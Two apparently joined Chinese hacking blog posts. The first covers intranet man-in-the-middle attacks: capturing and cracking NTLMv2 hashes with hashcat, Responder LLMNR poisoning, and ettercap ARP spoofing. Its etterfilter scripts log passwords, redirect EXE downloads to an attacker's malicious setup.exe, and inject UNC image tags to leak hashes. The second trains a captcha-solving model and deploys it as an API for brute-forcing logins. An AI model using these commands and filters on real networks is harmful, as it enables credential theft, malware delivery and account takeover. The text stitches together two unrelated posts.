前言
好几次的情况下,打下了办公机,和服务器内网不同的是,办公网中,除了极少数的用户机器会有运行一切奇奇怪怪的服务,包括但不限于EveryThink(那个搜索程序叫啥我忘了),向日葵啊,或者各种奇奇怪怪一些RMI,也只有一些开发机才会有跑些web。
但是大部分时候,大部分机器就是一个沉默术士,一看80,啊,没开,3389,啊,没开,开了啥?445,135,139没了,怎么办?这时候我们除了使用,啊,MS08-067,MS17-010,19-0708(基本都蓝),这些,如果这些都没有,估计大部分时候只能干瞪眼了。
这就是现在的,过于注重web而忽略了传统艺能。我记得早在我初中的时候,那群黑阔天天玩的就是这些,什么水滴,什么奶瓶,什么BT5什么ettercap进行劫持啥的,什么明教教主BT5学习使用。当初觉得阿这玩意阿怎么感觉没有什么卵用阿哪里有人会傻傻的给你劫持。现在不都是打web阿打数据库阿打服务什么的嘛。
现在想来还是当时的我太naive了。那时候的内网环境和现在的内网环境还是有很大差别的。
极简模式
简单方式,如果你直接日下路由器。无论用什么方法,直接监听445端口,并捕获为pcap。

监听一段时间,可以使用 NTLMRawUnHide 项目来从pcap中提取ntlmv2。直接运行:python .\NTLMRawUnHide.py -i .\b.pcap

然后,我们要找的就是类似于
test::DESKTOP-K6CQSK4:c42c85ec072f126d:295a6b646463dd1cdb99baa88513174b:01010000000000004308b7d1045bd8014d2895bd5d65fd940000000002001e00570049004e002d00460038004600450054004c004400540049004f004a0001001e00570049004e002d00460038004600450054004c004400540049004f004a0004001e00570049004e002d00460038004600450054004c004400540049004f004a0003001e00570049004e002d00460038004600450054004c004400540049004f004a00070008004308b7d1045bd801060004000200000008003000300000000000000001000000002000005665c49fa02134c71e7c11a593461da9cda996aebf9f9b6e9e1d74175dfb57400a001000000000000000000000000000000000000900240063006900660073002f003100390032002e003100360038002e0032002e003100380030000000000000000000
这样的一段内容,提取出来,保存为txt文件,我们就可以使用hashcat爆破了。我们这里假设保存为ntlmv2.txt。
然后使用hashcat,执行hashcat.exe -m 5600 ntlmv2.txt -a 3 ?l?l?l?l?d?d?d --force
这里我使用的是掩码爆破,因为只是为了测试,实际情况请自行选择字典或者其他掩码。

可以看到,对于这种弱口令,基本1秒就爆破出来了正常情况下,和服务器环境不同,工作组计算机并没有密码策略要求,所以密码通常不会太复杂,基本都是 单词+生日数字,甚至纯数字为主,所以基本都挺好爆破的。当然前提还是得抓取到ntlmv2。
下次遇到什么飞塔防火墙啊,就可以靠这些去打里面的机器了.jpg
极简模式II:使用responder
直接在kali中,运行responder -I eth0 -w
,responder会自动在局域网内使用LLMNR和NetBiOS等协议进行应答。
具体体现在
链路局部范围内每台支持LLMNR,并且被配置为响应传入查询的主机在收到这个查询请求后,会将被查询的名称和自己的主机名进行比较。如果没有找到匹配的主机名,那么计算机就会丢弃这个查询。如果找到了匹配的主机名,这台计算机会传输一条包含了自己IP地址的单播信息给请求该查询的主机。
而responder原理就是无论收到是啥,都应答这个LLMR响应,导致客户以为这个主机是存在的。
当我们的目标在计算机内输入了一个没有人应答的主机名,这时候我们的responder就会自动应答,让客户机以为我们是他想请求的机器,并发送凭证,这时候我们就抓到了他们的ntlmv2了。

然而这个方法有个非常大的局限性就是必须要目标手动输入不存在的主机名,然而一般情况下谁会乱输入主机名啊。除非在渗透过程中已经进入了内网,同时使用钓鱼的方式在目标中插入暗桩,例如文件加载资源等,或者类似于在内网打下的服务器中插入XSS,自动加载UAF路径等。但是这就不是0click了。而主动等待用户输错又是天方夜谭。所以此时我们就需要主动出击。
主动出击:ETTERCAP内网嗅探与劫持
这时候就可以掏出我们的传统异能工具,ettercap和arpspoof之类的劫持工具了。ettercap的攻击原理就不过多阐述。攻击方法基
使用ettercap能达成类似与路由器那样直接tcpdump分析内网的数据包的类似操作。但是如果可以,能打到路由器还是最好还是先打路由器。
毕竟arp劫持在现在环境下,随随便便一个杀软就能挡住并且能提醒,直接从无感攻击变成有感攻击,导致管理员发现任务失败直接GG。
所以我们的思路就是打下路由器,然后就能进行一些更高阶的操作,或者直接嗅探HTTP文件,把文件替换成我们的木马等。
直接运行sudo ettercap -i 网卡 -T -M arp:remote /目标内网机器IP// /内网网关//
,这样我们就可以看到目标机器的所有流量了

这时候有流量了,可以选择嗅探cookies或者是嗅探密码。这时候我们就需要用到etterfilter
,用于选出我们想要的流量。
直接查看一个文档 etterfilter - linux man,直接进行一个仿写,我们也不做其他的,直接把他们包含Cookies和user
if ( tcp.src == 80 || tcp.dst == 80) {
if (search(DATA.data,"password")) {
log(DATA.data, "/tmp/tmp.log");
}
}
上面是保存http中带有password的,甚至可以把第一句tcp.src == 80
也给删了,只保留我们发往远程的请求,因为一般登录的时候是我们发给用户,把上面这些保存为a.filter,然后执行etterfilter a.filter -o a.ef
就会生成一个ef文件,然后使用sudo ettercap -i eth1 -T -q -F a.ef -M arp:remote /目标ip// /网关ip//
,就可以开始嗅探http请求的明文流量了。

或者,可以进行一个下载文件的替换。直接贴一个网络上找来的脚本
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, “Accept-Encoding”)) {
replace("Accept-Encoding", "Accept-Mousecat");
msg("zapped Accept-Encoding!\n");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("keep-alive", "close" );
replace("Keep-Alive", "close" );
}
if (ip.proto == TCP && search(DATA.data, ": application") ){
msg("found EXE\n");
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://你的恶意exe/setup.exe");
msg("redirect success\n");
}
}
这个代码是直接替换下载EXE地址302到我们的恶意文件地址,缺点是下载后别人看到下载地址是直接显示你的而已exe地址,高级一点的可以直接在下载原始exe过程中,直接把它的exe流数据替换成我们的恶意exe数据流。再高级一点的甚至可以直接在exe流中插入shellcode然后修改入口点。。当然这个过于复杂也没什么必要就是了。
以上两种方式虽然都挺好用,但是如果目标们就是tmd不访问路由器或者不下exe怎么办呢?
配合我们之前使用的responder,只要在http流量中插入内网的UAF地址,然后使用responder进行一个LLMNR欺骗甚至使用smbreplay,诱导用户发送他们自身的ntlmv2,不是就能达到我们想要的效果了?
直接对fileter修改
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding","Accept-AAAA");
}
}
if (ip.proto == TCP && tcp.src == 80) {
replace("head>", "head> <img src=\"\\\\fake_hostname\\pixel.gif\"> ");
}
然后等待发送ntlmv2即可。。然而如今的正常浏览器都会遇到Not allowed to load local resource
,并不允许自动加载。。也只有某些垃圾浏览器或者远古浏览器,比如IE或者一些webview才会自动引用这些然后发送ntlmv2了。
结语
和Web服务不同,在面对工作组计算机中,除了MS17这类暴力服务洞。我们只能从主动进攻慢慢变成了一个默默的被动等待者。蛰伏在局域网下收集数据等待机会。然而随着安全技术的发展,我们主动出击的手段越来越少,ARP攻击如今只要是个杀软就能防御,默认https,允许http的站点越来越少导致攻击越来越难。甚至浏览器同源策略不允许自动加载本地文件导致ntlmv2发送不出来等等因素,这可能也是导致内网mitm越来越淡出我们视野的原因。
前言
很多时候,外网打点,资产就那么点,社工钓鱼又钓不进去,那么怎么办呢?这时候只能传统艺能爆破来解决问题了。
但是,抛开IP先不说,现在登录多多少少都会有加上验证码用于防止爆破,但是这种东西肯定不能阻挡我们的脚步。所以最简单的办法就是整个自动用于验证码识别的玩意。下至OCR上至机器学习乃至购买云打码。因为我们穷云服务肯定整不起,OCR识别率又堪忧,所以最简单的办法就是去github整一个。
说明
本篇就是一个踩坑文章(然而作者的项目写的非常不错,并没有遇到什么坑hhhh),用于记录,没有什么技术含量。我才不会说我是实在想不出写什么东西才水一篇文章的呢,哼~
最近快毕业了,什么毕业论文啊个人音乐会啊毕业音乐会啊专场啊以及最讨厌的查缺补漏(指舞蹈重修)。虽然说这些事并不麻烦,但是确实都是事,每天就这么磨洋工一点一点的磨磨唧唧但是也确实在解决。导致我用一般只日站,很少沉下心来写这些完整的学习报告了。虽然说日站过程中也会遇到一些新鲜的东西,例如这次就遇到很多K8s啊,云安全啊但是这些并没有完整的,全面的研究,导致博客一直不知道写啥。所以就搞了水了一些实践报告,网络上也有他人的实践记录。但是我会尽量把所有的坑给列出来。
话不多说,开整。
开整
既然不是自己写项目而是用东西,那肯定是怎么简单怎么来,去年还是前年我用过
https://github.com/nickliqian/cnn_captcha 项目跑过训练,效果确实不错,然而截至至今(2022年4月22日),该项目大部分依赖已经爆炸,遂直接放弃
最后还是选择使用captcha_trainer 项目来使用。凑巧的是,作者也在FreeBuf上发布过文章,详细说明了如何使用该项目,详情可以看这里
验证码识别新革命:源码+通用识别模型
然而作者对于Linux部分写的很详细,对于Windows部分却是一笔带过。刚好我用的是windows,就顺带记录了。
话不多说,开整。
安装CUDA
首先是下载项目,直接git clone就行,重点是第二部
目前为止,如果你是使用CPU训练,那么可以跳过下面这一步骤,因为源码已经加入代码默认支持CPU了,不需要进行过多操作,如果是GPU,就需要安装CUDA和CuDnn。直接根据文章,从官网下载
下载完以上上面,首先得先安装CUDA,安装完毕之后,解压CUDNN,然后根据cudnn/install-guide,
找到CUDA安装目录,这里假设CUDA安装目录是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\
复制 bin\cudnn*.dll
到 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\bin
.复制 include\cudnn*.h
到 C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\vx.x\include
.复制 lib\x64\cudnn*.lib
到 C:Program FilesNVIDIA GPU Computing ToolkitCUDAvx.xlibx64.`
之后把CUDA目录,也就是C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\
添加到PATH环境变量中,注意不带bin。
然后还得安装zlib运行库,不然会出现Could not locate zlibwapi.dll. Please make sure it is in your library path
,也是根据上面的文档,从ZLIB DLL下载压缩包,把里面的各种.lib文件和.dll文件全部一股脑丢PATH下,你可以选择创建一个PATH,反正我是全部直接丢到system32下。通过以上这些,CUDA就安装好了
安装本体
我用的是python3.10.3,实际上是可以直接使用的
回到我们项目文件,我们可以使用作者的venv,也可以直接莽上去,开干。我的建议是用一些pyvenv。
直接python -m pip install pyvenv
。然后记得使用cmd,执行cd venv/ && Scripts/active.bat
,看到前面出现(venv)就说明环境载入成功了。
然后就是修改requirements.txt
文件,把最后的tf-nightly-gpu==2.8.0.dev20211021
改成tf-nightly-gpu
即可。
如果是用CPU渲染,就直接安装tf-nightly
就行。
记得使用pip安装的时候,务必使用代理,可以用自带--proxy命令指明socks5代理或者像我一样用Proxifier直接把pipy.org加入代理规则里。
安装完requirements.txt之后,直接运行python app.py,还会出现一些依赖错误比如pillow啊这些的,剩下的基本就是缺啥装啥就好了。
之后运行python app.py
。

就能打开界面。
训练
对于开源项目来说,我们可以直接把源码部分扒出来,根据作者的要求,只需要生成格式为 验证码原始内容_md5.png
类型的图片放置到目录下就行。我们直接随手谷歌找了一个python验证码生成的代码生成一些数据试试。
import os
import random
import io
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
import hashlib
def random_color():
c1 = random.randint(0, 255)
c2 = random.randint(0, 255)
c3 = random.randint(0, 255)
return c1, c2, c3
def generate_picture(width=120, height=35):
image = Image.new('RGB', (width, height), random_color())
return image
def random_str():
random_num = str(random.randint(0, 9))
random_low_alpha = chr(random.randint(97, 122))
random_char = random.choice([random_num, random_low_alpha])
return random_char
def draw_str(count, image, font_size):
draw = ImageDraw.Draw(image)
# 获取一个font字体对象参数是ttf的字体文件的目录,以及字体的大小
font_file = os.path.join('andale-mono.ttf')
font = ImageFont.truetype(font_file, size=font_size)
temp = []
for i in range(count):
random_char = random_str()
draw.text((10+i*30, -2), random_char, random_color(),font=font)
temp.append(random_char)
valid_str = "".join(temp) # 验证码
return valid_str, image
def noise(image, width=120, height=35, line_count=3, point_count=20):
draw = ImageDraw.Draw(image)
for i in range(line_count):
x1 = random.randint(0, width)
x2 = random.randint(0, width)
y1 = random.randint(0, height)
y2 = random.randint(0, height)
draw.line((x1, y1, x2, y2), fill=random_color())
# 画点
for i in range(point_count):
draw.point([random.randint(0, width), random.randint(0, height)], fill=random_color())
x = random.randint(0, width)
y = random.randint(0, height)
draw.arc((x, y, x + 4, y + 4), 0, 90, fill=random_color())
return image
def valid_code():
image = generate_picture()
valid_str, image = draw_str(4, image, 35)
image = noise(image)
m = hashlib.md5()
with io.BytesIO() as memf:
image.save(memf, 'PNG')
data = memf.getvalue()
m.update(data)
md5 = m.hexdigest()
f = open("demo/trains/{}_{}.png".format(valid_str,md5),"wb")
image.save(f, 'png')
f.close()
return valid_str,md5
if __name__ == '__main__':
for i in range(1,60000):
valid_code()
在项目目录下创建一个demo/trains
目录,并运行该代码,就会在该目录生成59999张验证码。之后我们在app.py里的project区随便新建一个项目名

之后点击Trining Path里的Browse选项,把我们刚刚生成的目录添加进去

之后点击底下的Make Dataset
把我们生成的打包成TFRecords文件,然后点Start Tringing就可以开始训练了

如果你的显卡好的话,大概几分钟,这6W张图片就能训练完成。效率还是很快的
之后我们点击Test,会让我们选择文件夹,我们就可以用这个来验证识别率辣。保险起见我们用上面的代码生成一个Test2文件夹来存放新的。
然后运行Test,测试下效果。

可以看出来效果还是挺不错的,对于开源项目使用这个方法,就可以快速训练出匹配的模型,成功率还是非常高的。重点是非常的方便快捷
部署以及武器化
作者自带了一个框架captcha_platform,我们可以直接使用该项目。
用作部署于服务器的话,没必要上GPU,CPU跑模型就行,所以可以跳过上面的安装CUDA和cuDNN的操作。
安装方法也很简单,直接运行python -m pip install -r requirements.txt
就行。
注意,如果是本机部署(和上一个项目同一台机器)的推荐删除requirements.txt里的tf-nightly
项,避免环境造成冲突。
之后把我们在captcha_trainer里生成的模型,一般目录是Project/模型名称/out,里的两个文件夹,复制到captcha_platom目录下,然后运行tornado_server.py
就行。

然后根据文档。运行tornado_server.py后会起一个API。地址为http://127.0.0.1:19952/captcha/v1
,请求方式为application/json
,具体参数查看作者的FreeBuf文章即可

我们试着调用一下

总体就大功告成辣。
通用化识别
以上我们就针对单一,开源,容易采集的项目进行了识别,但是对于那些闭源的目标来说,单纯用我们python生成的验证码跑识别成功率基本就没法看了。想要提高成功率,基本就是得对不同字体(包括与斜度),不同背景(花纹,纯色,甚至图片背景),不同扭曲程度(PS魔术棒!),不同噪点的验证码进行一个数据的生成然后在进行投喂。同时,传入参数的时候也比不能忘记把图片的分辨率来调整成我们训练时候的分辨率。来尽可能模仿目标。
结尾 & 后续
解决了验证码这个拦路虎,还有一个问题就是banIP了,下次看看怎么解决这个吧,估计会出一个云函数实践相关的,咕咕咕了。